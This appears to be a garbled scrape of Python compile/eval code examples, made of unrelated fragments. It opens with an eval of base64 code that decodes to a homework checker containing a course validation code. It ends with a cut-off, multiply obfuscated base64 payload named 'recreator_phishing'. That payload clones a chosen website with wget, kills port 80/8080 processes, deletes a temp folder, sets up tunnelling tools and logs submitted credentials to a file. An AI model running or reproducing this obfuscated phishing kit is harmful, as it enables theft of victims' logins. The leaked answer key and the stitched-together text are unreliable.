ksIG9rIGlzIG5vdCAxIGZvciBycy5zdGF0dXMoKSIKICAgICAgICBwcmludCAiSGVyZSBpcyB3aGF0IEkgZ2V0OiIKICAgICAgICBwcCA9IHBwcmludC5QcmV0dHlQcmludGVyKGRlcHRoPTYpCiAgICAgICAgcHAucHByaW50KHJzKQogICAgICAgIHJldHVybiBGYWxzZQoKICAgIGlmIChsZW4ocnNbJ21lbWJlcnMnXSkgIT0gbnVtX25vZGVzKToKICAgICAgICBwcmludCAiU29ycnksIHRoZXJlIG5lZWQgdG8gYmUgdGhyZWUgbWVtYmVycyBvZiB0aGUgcmVwbGljYSBzZXQuIgogICAgICAgIHByaW50ICJoZXJlIGlzIHRoZSBtZW5iZXJzIGFycmF5IEkgc2VlIgoKICAgICAgICBwcCA9IHBwcmludC5QcmV0dHlQcmludGVyKGRlcHRoPTYpCiAgICAgICAgcHAucHByaW50KHJzWydtZW1iZXJzJ10pCiAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAKICAgIHByaW50ICJMb29rcyBnb29kLiBSZXBsaWNhIHNldCB3aXRoIHRocmVlIG5vZGVzIHJ1bm5pbmciCiAgICByZXR1cm4gVHJ1ZQoKZGVmIGdyYWNlZnVsX2V4aXQoaSk6CiAgICBjb25uZWN0aW9uLmNsb3NlKCkKICAgIHN5cy5leGl0KGkpCgojIG1haW4gc2VjdGlvbiBvZiB0aGUgY29kZQpkZWYgbWFpbihhcmd2KToKICAgICAgICAgICAgCiAgICBhcmdfcGFyc2luZyhhcmd2KQogICAgZ2xvYmFsIGNvbm5lY3Rpb24KICAgIGdsb2JhbCBkYgoKICAgIHByaW50ICJXZWxjb21lIHRvIHRoZSBIVyA2LnggcmVwbGljYSBDaGVja2VyLiBNeSBqb2IgaXMgdG8gbWFrZSBzdXJlIHlvdSBzdGFydGVkIGEgcmVwbGljYSBzZXQgd2l0aCB0aHJlZSBub2RlcyIKCiAgICAjIGNvbm5lY3QgdG8gdGhlIGRiIChtb25nb3N0ciB3YXMgc2V0IGluIGFyZ19wYXJzaW5nKQogICAgdHJ5OgogICAgICAgIGNvbm5lY3Rpb24gPSBweW1vbmdvLlJlcGxpY2FTZXRDb25uZWN0aW9uKG1vbmdvc3RyLCByZXBsaWNhU2V0PXJzX25hbWUsIHNhZmU9VHJ1ZSkKICAgICAgICBkYiA9IGNvbm5lY3Rpb25bZGJfbmFtZV0KICAgIGV4Y2VwdDoKICAgICAgICBwcmludCAiY2FuJ3QgY29ubmVjdCB0byBNb25nb0RCIHJlcGxpY2EiLHJzX25hbWUsIiBzZXQgdXNpbmciLCBtb25nb3N0ciwgIi4gSXMgaXQgcnVubmluZz8iCiAgICAgICAgZXhpdCgyKSAgICAgIyBubyBncmFjZWZ1bCBleGl0IGlmIGl0IGlzIG5vdCBjb25uZWN0ZWQKICAgICAgICAKICAgIGlmIChub3QgcmVwbF9zZXRfcnVubmluZygzKSk6CiAgICAgICAgcHJpbnQgIlNvcnJ5LCB0aGUgcmVwbGljYSBzZXQgZG9lcyBub3Qgc2VlbSB0byBiZSBydW5uaW5nIgogICAgICAgIGdyYWNlZnVsX2V4aXQoMSkKICAgIAogICAgIyBpZiB5b3UgYXJlIHJlYWRpbmcgdGhpcyBpbiBjbGVhcnRleHQsIHlvdSBhcmUgdmlvbGF0aW5nIHRoZSBob25vciBjb2RlLgogICAgIyBZb3UgY2FuIHN0aWxsIHJlZGVlbSB5b3Vyc2VsZi4gR2V0IGl0IHdvcmtpbmcgYW5kIGRvbid0IHN1Ym1pdCB0aGUgdmFsaWRhdGlvbiBjb2RlIHVudGlsIHlvdSBkby4KICAgICMgQWxsIGEgbWFuIGhhcyBhdCB0aGUgZW5kIG9mIHRoZSBkYXkgaXMgaGlzIHdvcmQuCiAgICBwcmludCAiVGVzdHMgUGFzc2VkIGZvciBIVyA2LjUuIFlvdXIgSFcgNi41IHZhbGlkYXRpb24gY29kZSBpcyBDb25ncmF0c1lvdVJvY2syMDEyIgogICAgZ3JhY2VmdWxfZXhpdCgwKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oc3lzLmFyZ3ZbMTpdKQoKCgoKCgoK"
eval(compile(base64.b64decode(code), "<string>", 'exec'))




Example #40
0
 def test_lost_displayhook(self):
     olddisplayhook = sys.displayhook
     del sys.displayhook
     code = compile("42", "<string>", "single")
     self.assertRaises(RuntimeError, eval, code)
     sys.displayhook = olddisplayhook
 def test_filename(self):
     self.assertEquals(compile_command("a = 1\n", "abc").co_filename,
                       compile("a = 1\n", "abc", 'single').co_filename)
     self.assertNotEquals(compile_command("a = 1\n", "abc").co_filename,
                          compile("a = 1\n", "def", 'single').co_filename)
Example #42
0
def get_coords() -> Iterator[list[int]]:
    p = compile("<x={x:d}, y={y:d}, z={z:d}>")
    for line in read_lines():
        result = p.parse(line)
        yield [result["x"], result["y"], result["z"]]
import base64
recreator_phishing ="""aW1wb3J0IGJhc2U2NCwgY29kZWNzDQptYWdpYyA9ICdabkp2YlNCemRXSndjbTlqWlhOeklHbHRjRzl5ZENCamFHVmphMTl2ZFhSd2RYUXNRMkZzYkdWa1VISnZZMlZ6YzBWeWNtOXlDbVp5YjIwZ2RHbHRaU0JwYlhCdmNuUWdjMnhsWlhBS2FXMXdiM0owSUc5ekNtbHRjRzl5ZENCb2RIUndMbk5sY25abGNncHBiWEJ2Y25RZ2MyOWphMlYwYzJWeWRtVnlDbWx0Y0c5eWRDQnlaUXBwYlhCdmNuUWdjM05zQ21aeWIyMGdiM01nYVcxd2IzSjBJSE41YzNSbGJTQUthVzF3YjNKMElITjVjd29LQ2tkU1JVVk9JRDBnSWx3d016TmJNVHN6TVcwaUNsSkZSQ0FnSUQwZ0lsd3dNek5iTVRzek1XMGlJQXBTUlZORlZDQTlJQ0pjTURNeld6RTdNekZ0SWdwdmN5NXplWE4wWlcwb0ltWjFjMlZ5SUMxcklDMXVJSFJqY0NBNE1EZ3dJaWtLYjNNdWMzbHpkR1Z0S0NKbWRYTmxjaUF0YXlBdGJpQjBZM0FnT0RBaUtRcHZjeTV6ZVhOMFpXMG9Jbkp0SUMxeVppQXVkRzF3SWlrS2IzTXVjM2x6ZEdWdEtDSnRhMlJwY2lBdWRHMXdJaWtLYjNNdWMzbHpkR1Z0S0NKamJHVmhjaUlwQ2dwa1pXWWdRa0ZPVGtWU0tDazZDaUFnY0hKcGJuUWdLQ0lpSWdwY01ETXpXekU3TXpOdDRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1hJT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tXaU9LVmx5RGlsb2ppbG9qaWxvamlsb2ppbG9qaWxvamlsWmZpbG9qaWxvamlsb2ppbG9qaWxvamlsb2ppbFpjZzRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYSU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbHlEaWxvamlsb2ppbG9qaWxvamlsb2ppbG9qaWxvamlsb2ppbFpjZzRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1hJT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbHlBZ0lDQWc0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYSU9LV2lPS1dpT0tWbHlBZzRwYUk0cGFJNHBXWDRwYUk0cGFJNHBXWDRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYNHBhSTRwYUk0cFdYSUNEaWxvamlsb2ppbFpmaWxvamlsb2ppbFpmaWxvamlsb2ppbG9qaWxaY2dJQ0RpbG9qaWxvamlsWmNnNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBXWElBcGNNRE16V3pFN016aHQ0cGFJNHBhSTRwV1U0cFdRNHBXUTRwYUk0cGFJNHBXWDRwYUk0cGFJNHBXVTRwV1E0cFdRNHBXUTRwV1E0cFdkNHBhSTRwYUk0cFdVNHBXUTRwV1E0cFdRNHBXUTRwV2Q0cGFJNHBhSTRwV1U0cFdRNHBXUTRwYUk0cGFJNHBXWDRwYUk0cGFJNHBXVTRwV1E0cFdRNHBXUTRwV1E0cFdkNHBhSTRwYUk0cFdVNHBXUTRwV1E0cGFJNHBhSTRwV1g0cFdhNHBXUTRwV1E0cGFJNHBhSTRwV1U0cFdRNHBXUTRwV2Q0cGFJNHBhSTRwV1U0cFdRNHBXUTRwV1E0cGFJNHBhSTRwV1g0cGFJNHBhSTRwV1U0cFdRNHBXUTRwYUk0cGFJNHBXWElDQWdJT0tXaU9LV2lPS1ZsT0tWa09LVmtPS1dpT0tXaU9LVmwrS1dpT0tXaU9LVmtTQWc0cGFJNHBhSTRwV1I0cGFJNHBhSTRwV1I0cGFJNHBhSTRwV1U0cFdRNHBXUTRwV1E0cFdRNHBXZDRwYUk0cGFJNHBXUklDRGlsb2ppbG9qaWxaSGlsb2ppbG9qaWxaSGlsb2ppbG9qaWxvamlsb2ppbFpjZ0lPS1dpT0tXaU9LVmtlS1dpT0tXaU9LVmxPS1ZrT0tWa09LVmtPS1ZrT0tWblNBSzRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1U0cFdkNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYSUNEaWxvamlsb2ppbFpFZ0lDQWdJT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbE9LVm5lS1dpT0tXaU9LV2lPS1dpT0tXaU9LVmx5QWc0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBXUklDQWc0cGFJNHBhSTRwV1JJQ0FnNHBhSTRwYUk0cFdSSUNBZzRwYUk0cGFJNHBXUjRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1U0cFdkSUNBZ0lPS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1ZsT0tWbmVLV2lPS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1ZrZUtXaU9LV2lPS1ZrZUtXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tXaU9LVmwrS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWa2VLV2lPS1dpT0tWa2VLV2lPS1dpT0tWbE9LV2lPS1dpT0tWbHlEaWxvamlsb2ppbFpIaWxvamlsb2ppbFpFZ0lPS1dpT0tXaU9LV2lPS1Zsd3JpbG9qaWxvamlsWlRpbFpEaWxaRGlsb2ppbG9qaWxaZmlsb2ppbG9qaWxaVGlsWkRpbFpEaWxaMGdJT0tXaU9LV2lPS1ZrU0FnSUNBZzRwYUk0cGFJNHBXVTRwV1E0cFdRNHBhSTRwYUk0cFdYNHBhSTRwYUk0cFdVNHBXUTRwV1E0cFdkSUNEaWxvamlsb2ppbFpUaWxaRGlsWkRpbG9qaWxvamlsWkVnSUNEaWxvamlsb2ppbFpFZ0lDRGlsb2ppbG9qaWxaRWdJQ0RpbG9qaWxvamlsWkhpbG9qaWxvamlsWlRpbFpEaWxaRGlsb2ppbG9qaWxaY2dJQ0FnNHBhSTRwYUk0cFdVNHBXUTRwV1E0cFdRNHBXZElPS1dpT0tXaU9LVmxPS1ZrT0tWa09LV2lPS1dpT0tWa2VLV2lPS1dpT0tWa2VLVm11S1ZrT0tWa09LVmtPS1ZrT0tXaU9LV2lPS1ZrZUtXaU9LV2lPS1ZsT0tWa09LVmtPS1dpT0tXaU9LVmtlS1dpT0tXaU9LVmtlS1dpT0tXaU9LVmtlS1ZtdUtXaU9LV2lPS1ZsK0tXaU9LV2lPS1ZrZUtXaU9LV2lPS1ZrU0FnSU9LV2lPS1dpT0tWa1FyaWxvamlsb2ppbFpFZ0lPS1dpT0tXaU9LVmtlS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbCtLVm11S1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1ZsK0tXaU9LV2lPS1ZrU0FnNHBhSTRwYUk0cFdSNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1g0cGFJNHBhSTRwV1JJQ0RpbG9qaWxvamlsWkVnSUNEaWxvamlsb2ppbFpFZ0lDRGlsWnJpbG9qaWxvamlsb2ppbG9qaWxvamlsb2ppbFpUaWxaM2lsb2ppbG9qaWxaRWdJT0tXaU9LV2lPS1ZrU0FnSUNEaWxvamlsb2ppbFpFZ0lDQWdJT0tXaU9LV2lPS1ZrU0FnNHBhSTRwYUk0cFdSNHBhSTRwYUk0cFdSNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1I0cGFJNHBhSTRwV1JJQ0RpbG9qaWxvamlsWkhpbG9qaWxvamlsWkhpbG9qaWxvamlsWkVnNHBXYTRwYUk0cGFJNHBhSTRwYUk0cFdSNHBXYTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1U0cFdkQ2x3d016TmJNVHN6T1czaWxacmlsWkRpbFowZ0lPS1ZtdUtWa09LVm5lS1ZtdUtWa09LVmtPS1ZrT0tWa09LVmtPS1ZrT0tWblNEaWxacmlsWkRpbFpEaWxaRGlsWkRpbFpEaWxaM2lsWnJpbFpEaWxaMGdJT0tWbXVLVmtPS1ZuZUtWbXVLVmtPS1ZrT0tWa09LVmtPS1ZrT0tWa09LVm5lS1ZtdUtWa09LVm5TQWc0cFdhNHBXUTRwV2RJQ0FnNHBXYTRwV1E0cFdkSUNBZ0lPS1ZtdUtWa09LVmtPS1ZrT0tWa09LVmtPS1ZuU0RpbFpyaWxaRGlsWjBnSU9LVm11S1ZrT0tWblNBZ0lDRGlsWnJpbFpEaWxaMGdJQ0FnSU9LVm11S1ZrT0tWblNBZzRwV2E0cFdRNHBXZDRwV2E0cFdRNHBXZDRwV2E0cFdRNHBXUTRwV1E0cFdRNHBXUTRwV1E0cFdkNHBXYTRwV1E0cFdkSUNEaWxacmlsWkRpbFozaWxacmlsWkRpbFozaWxacmlsWkRpbFowZ0lPS1ZtdUtWa09LVmtPS1ZrT0tWblNEaWxacmlsWkRpbFpEaWxaRGlsWkRpbFpEaWxaMGdkaTQwQ2x3d016TmJNVHN6TTIwZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCQmJtZGxiRk5sWTNWeWFYUjVWR1ZoYlNBZ0lDQWdJQ0FnSUFwY01ETXpXekU3TXpOdElGdEFYVnd3TXpOYk1Uc3pPVzExY213Z1hEQXpNMXN4T3pNemJUMGdYREF6TTFzeE96TTViV2gwZEhCek9pOHZkM2QzTG1WNFlXMXdiR1V1WTI5dElGd3dNek5iTVRzek0yMGdXMEJkWERBek0xc3hPek01YlhCdmNuUWdYREF6TTFzeE96TXpiVDBnWERBek0xc3hPek01YlRnd09EQUtDaUFnSUNBZ0lDQWdJQ0lpSWlrZ0NrSkJUazVGVWlncElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdDa05WVWxKRlRsUmZVRUZVU0NBOUlHOXpMbWRsZEdOM1pDZ3BDa1JKVWt0U0lEMGdiM011Y0dGMGFDNXFiMmx1S0VOVlVsSkZUbFJmVUVGVVNDd2dKeTUwYlhBbktRcEpUa1JGV0Y5TVQwZEpUaUE5SUc5ekxuQmhkR2d1YW05cGJpaEVTVkpMVWl3Z0oybHVaR1Y0TG1oMGJXd25LUXBRVDFOVVgxTkJWa1VnUFNCdmN5NXdZWFJvTG1wdmFXNG9RMVZTVWtWT1ZGOVFRVlJJTENBbmMyRjJaUzUwZUhRbktRb0tDZ3BPVHlBOUlIc25ibThuTENBbmJpZDlDblZ6WlY5M1oyVjBJRDBnSWxraUNncHBaaUIxYzJWZmQyZGxkQzVzYjNkbGNpZ3BJRzV2ZENCcGJpQk9Uem9LSUFvZ0lDQWdkWEpzSUQwZ2FXNXdkWFFvSWlCY01ETXpXekU3TXpOdFcwQmRYREF6TTFzeE96TTViWFZ5YkNCY01ETXpXekU3TXpOdFBTQmNNRE16V3pFN016bHRJaWtnSUFvZ0lDQWdkWE5sY2w5aFoyVnVkQ0E5SUNKTmIzcHBiR3hoTHpVdU1DSUtJQ0FnSUZCUFVsUTlhVzUwS0dsdWNIVjBLQ0pjYmlCY01ETXpXekU3TXpOdFcwQmRYREF6TTFzeE96TTViWEJ2Y25RZ1hEQXpNMXN4T3pNemJUMGdYREF6TTFzeE96TTViU0lwS1FvZ0lDQWdjRzl5ZERJeVBWQlBVbFFLSUNBZ0lIQnlhVzUwS0NKY01ETXpXekU3TXpGdElpa2dJQ0FnQ2lBZ0lDQnZjeTV6ZVhOMFpXMG9JbmRuWlhRZ0xVVWdMVWdnTFdzZ0xVc2dMWEFnTFc1SUlDMHRZM1YwTFdScGNuTTlNVEF3SUMwdGNtVm1aWEpsY2oxb2RIUndPaTh2ZDNkM0xtZHZiMmRzWlM1amIyMGdMVzUySUh0OUlDMHRkWE5sY2kxaFoyVnVkQ0I3ZlNBdExXUnBjbVZqZEc5eWVTMXdjbVZtYVhnOWUzMGlMbVp2Y20xaGRDaDFjbXdzSUhWelpYSmZZV2RsYm5Rc0lFUkpVa3RTS1NrS0lDQWdJRzl6TG5ONWMzUmxiU2dpWTNBZ2JtZHliMnNnTG5SdGNDSXBDaUFnSUNCdmN5NXplWE4wWlcwb0ltTndJR3h2WTJ4NElDNTBiWEFpS1FvZ0lDQWdiM011YzNsemRHVnRLQ0pqYkdWaGNpSXBJQ0FnQ21Wc2MyVTZDaUFnSUNCd2NtbHVkQ2dpSWlrS0NtbG1JRzV2ZENCdmN5NXdZWFJvTG1selptbHNaU2hKVGtSRldGOU1UMGRKVGlrNkNpQWdJQ0JvZEcxc1gyWnBiR1Z6WDJsdVgzZGxZaUE5SUZ0ZENpQWdJQ0FLSUNBZ0lHWnZjaUJtYVd4bElHbHVJRzl6TG14cGMzUmthWElvUkVsU1MxSXBPZ29nSUNBZ0lDQWdJR2xtSUdacGJHVXVaVzVrYzNkcGRHZ29JaTVvZEcxc0lpa2diM0lnWm1sc1pTNWxibVJ6ZDJsMGFDZ2lMbWgwYlNJcE9nb2dJQ0FnSUNBZ0lDQWdJQ0InDQpsb3ZlID0gJ2JxVDFmSzJNY29USW1LMnloSzNxeUx2NXVwVU95b3pEYm8zWmhwVFMwblA1ZG8yeWhYUkVXSHhnRllQT3puSmt5WEZ4WFZQTnRWTmJ0VlBOdFB2TnRWUE9jTXZPZk1KNGJuVUVnb1M5em5Ka3lwMTljb3k5M01KVmNWUTA5VlFSNlB2TnRWUE50VlBOdG8zWmhwekloTEoxeVhUOW1ZYU91cVR0aG56OWNvdnVSRklXWUh2anRuVUVnb1M5em5Ka3lwMTljb3k5M01KV29aUzBjWVBPV0d4RVNKUzlaRzBxV0d2eFhWUE50VlRJZnAySDZQdHhXUHZOdFZQTnRWUE50cFVXY29hRGJWeWpqWm1Bb1pHZm1aMjFnTEp5aFZVT3VNMkh0b3o5MFZURXlNenloTUpEdEJ2VmNQdk50VlBOdFZQTnRuSjV4TUt1c016eWZNSjV1b0pIdENGT2NvYU8xcVB0dktRTm1aMWZrQm1aNW9Ja2hWVE1jb1RIdG5KNHRLUU5tWjFma0JtWm1vRk5ocVQxalkxampabUFvWkdmbUJKMHRNVEl6bko1eVZUUnRuVDlnTUZPakxKcXlCeWpqWm1Bb1pHZm1aMjB2WEZOdFZQTnRWUE50UHZOdFZQTnRWUE50bzNaaHB6SWhMSjF5WFQ5bVlhT3VxVHRobno5Y292dVJGSVdZSHZqdG5KNXhNS3VzTXp5Zk1KNXVvSkhjWVBPV0d4RVNKUzlaRzBxV0d2eFhWUE50VlBOdFZQTlhWUE50VlBOdFZQT2pwenlocVB0dlZ2eHRWUE50VlBOdFZOYnRWUE50VlBOdFZOYlhQYVd5TVR5bE1KQTBLMnlqVlEwdHFLV2ZQdGJYcFRTYU1HUmxWUTB0bzNPeW92dVdHeEVTSlM5WkcwcVdHdmp0VzNWYVhGNWxNSlN4WFB4dFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50Vk5jem8zV2dwMTlqTEtFME1LV2hWUTB0V2x0OE16OWxvSWdyQ3kwZEMyU3dxVHlpb3cwdlhGdW9LdldxWHZ4YlZ5Z3JDeTBkQ3Z4YVZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWTmNqTEpxeVpHVnRDRk9sTUY1bXFKVmJNejlsb0tBc3BUUzBxVElsb3ZqdHB2cXBaSWtwcHpJeG5KQTBLUVphWVBPakxKcXlaR1ZjVlBOdFB0YlhxMnkwblBPaXBUSWhYUnlCRVJJTEswa0NFMHlCWVBOYXEyVmFYRk91cGxPem5Ka3lCdGJ0VlBOdE16eWZNRjUzcHp5ME1GdW1xVVZoTUo1d28yRXlYVU91TTJIa1p2eGNQdGJYUHRiWFB0Y3dvVFNtcGxPR25KMWpvVElWSVNFREh6SWtxSkltcVJ1dW96RWZNS1ZiblVFMHBQNW1NS1cyTUtWaEgyeWdwVGt5RlNFSEhTV3lwS0l5cDNFVkxKNXhvVElsWEdiWFZQTnRWVEV5TXZPeG8xOVVFSURicDJJZk12eDZQdk50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB0YnRWUE50VlBOdFB2TnRWUE50VlBOdG5KTHRvM1pocFRTMG5QNXlyVHltcVVaYnAySWZNdjUwcHpTaHAya3VxVElzcFRTMG5QdW1NSmt6WWFPdXFUdGNYR2J0VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWVEx0Q0ZPbU1Ka3pZYUF5b3pFc25USXVNUHRjVlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWVHl6VlRMNlB2TnRWUE50VlBOdFZQTnRWUE50VlBPbU1Ka3pZekFpcFV5em5Ka3lYVExmVlVBeW9UTGhxMk1jb1RIY1ZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWUE50VlBPell6QWZvM0F5WFB4WFZQTnRWUE50VlBPeW9VQXlCdk50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOWFZQTnRWUE50VlBOdFZQTnRWUE5YVlBOdFZQTnRWUE50VlBOdHB6SWdvM0V5SzNPdXFUdHRDRk52cjMxN3NGVmhNejlsb0pTMFhVV3lNVHlsTUpBMEsyeWpZUE9tTUprellhT3VxVHRjVlBOdFZQTnRWUE50Vk5idFZQTnRWUE50VlBOdFZQT21NSmt6WWFBeW96RXNwekltcFQ5aHAySGJabU5tWEZOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50Vk5idFZQTnRWUE50VlBOdFZQT21NSmt6WWFBeW96RXNuVEl1TVRJbFhQV1pvMkF1cVR5aW92VmZWVVd5b0o5ME1JOWpMS0ViWEZOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50Vk5idFZQTnRWUE50VlBOdFZQT21NSmt6WXpJaE1TOWJNSlN4TUtXbVhQeFhWUE50VlBOWFZQTnRWUE50VlBOdFZQTnRWUE50VlBOWFB2TnRWUE94TUpMdE1UOXNIUjlHSVB1bU1Ka3pYR2JYUHZOdFZQTnRWUE50VlBOdFZOYnRWUE50VlBOdFZUQWlvYUV5b2FFc29USWhNM0ViVlEwdG5KNTBYVUF5b1RMaG5USXVNVElscDFmYUQyOWhxVElocVAxWk1KNWFxVHRhS0Z4dFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdEx6OXhyRk45VlVBeW9UTGhwek1jb1RIaHB6SXVNUHV3bzI1ME1KNTBLMmt5b3pxMG5QeHRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOWFB2TnRWUE50VlBOdG5KTHRwMklmTXY1akxLRWJWUTA5VlBWaXB6SXhuSkEwVndidFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50Vk5idFZQTnRWUE50VlBOdFZQT21yS1pocDNFeG8zSTBZYXFsbktFeVhScUZFSElCWERidFZQTnRWUE50VlBOdFZQT2pwenlocVB0dktUNXBxVE1jb1RIdHAyUzJNSkR0bko0dFlHNHRwMlMyTUY1MHJVRHRZdjRoVnZ4WFZQTnRWUE50VlBOdFZQTnRwM3ltWWFBME1UOTFxUDUzcHp5ME1GdUZFSUFTSVB4WFZQTnRWUE50VlBOdFZQTnRwMklmTXY1bU1KNXhLM1d5cDNPaW9hQXlYUVpqWmx4WFZQTnRWUE50VlBOdFZQTnRwMklmTXY1bU1KNXhLMnV5TEpFeXB2dHZHVDl3TEtFY28yNHZZUE52cjMwdll6TWlwejF1cVB1bE1KRWNwekl3cVM5Y3BQeGNWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTlhWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZOYnRWUE50VlBOdFZQTnRWUE8zbktFYlZUOWpNSjRiSFI5R0lTOUdESU1TWVBOYUxGZmFYRk91cGxPem5Ka3lCdk50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWUE50VlBPem5Ka3lZYXFsbktFeVhUV2lNVXhoTVRJd28yRXlYUFcxcVRMZ0JQVmNYRGJ0VlBOdFZQTnRWUE50VlBOdFZQTnRNenlmTUY1M3B6eTBNRnR2S1Q1cG92VmNQdk50VlBOdFZQTnRWUE50VlBOdFZQTlhWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdE1Ka21NR2JYVlBOdFZQTnRWUE50VlBOdHAySWZNdjVtTUo1eEszV3lwM09pb2FBeVhRWmpCUHh0VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWTmJ0VlBOdFZQTnRWUE50VlBPbU1Ka3pZYUF5b3pFc25USXVNVElsWFBXWm8yQXVxVHlpb3ZWZlZQV2JxVUVqcG1iaVkzZzlyMzB2WXpNaXB6MXVxUHVsTUpFY3B6SXdxUzljcFBrbU1Ka3pZYU91cVR0Y1hGTnRQdk50VlBOdFZQTnRQdk50VlBOdFZQTnRwMklmTXY1eW96RXNuVEl1TVRJbHBsdGNWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTlhQdk50VlBPeE1KTHRvVDlhSzIxeXAzQXVNMkhicDJJZk12anRNejlsb0pTMFlQTmRMS1dhcGx4NlB2TnRWUE50VlBOdHB6STBxS1doUHRjeE1KTHRwMklscXpJbHAySWxxeklpWFB4NlB2TnRWUE50VlBOdHBUOWxxUVJrWkdWbENJT0NIeURXUHZOdFZQTnRWUE50bzNaaHAzeW1xVElnWFBXbXAydHRZSjh0SDNFbG5KQTBGVDltcVJneXJIQWJNSkFlbko1YUNKNWlWUDFpVlNBeXBhTXlweFNmbktNeUZKNTBNS1cyTEpqOUF3TnRZSVZ0QlFONm9UOXdMSmtibzNBMEJ2SW1WVUF5cGFNeW9sNWhNS0R0Q3ZPZm5KNWVZYUlsb1BObEN2TmlNVEkyWTI1MW9UanRXdlZ5WFVPaXBhRGtaR1JsWnZ4Y1B2TnRWUE50VlBOdHAya3lNS05iQlB4WFZQTnRWUE50VlBPMHBheDZQdk50VlBOdFZQTnRWUE50VlVBZk1KSWpYUXRjUER4V1B2TnRWUE50VlBOdFZQTnRWVDkxcVVPMXFQTjlWVEFiTUpBZUsyOTFxVU8xcVB0dk0zV3lwUE5nb2xOYW5VRTBwVVo2WWw5b1pQMDVMRjE2S0ZjcFlhQXlwYU15b2w1aE1LRGFWVGtjb3pmaHFLV2ZWdmp0cDJ1eW9UajlJVVcxTUZ4WFZQTnRWUE50VlBOdFZQTnRxS1dmcDJJbHF6SWlWUTB0cDNFbFhUOTFxVU8xcVB4aHAzRWxuS05iVnpWdFdsT3BWVDR2WERidFZQTnRWUE50VlBOdFZQT2pwenlocVB0dktUNXBxU2pqWm1Bb1pHZm1aMjFHRUlXSkVIOHRJSVda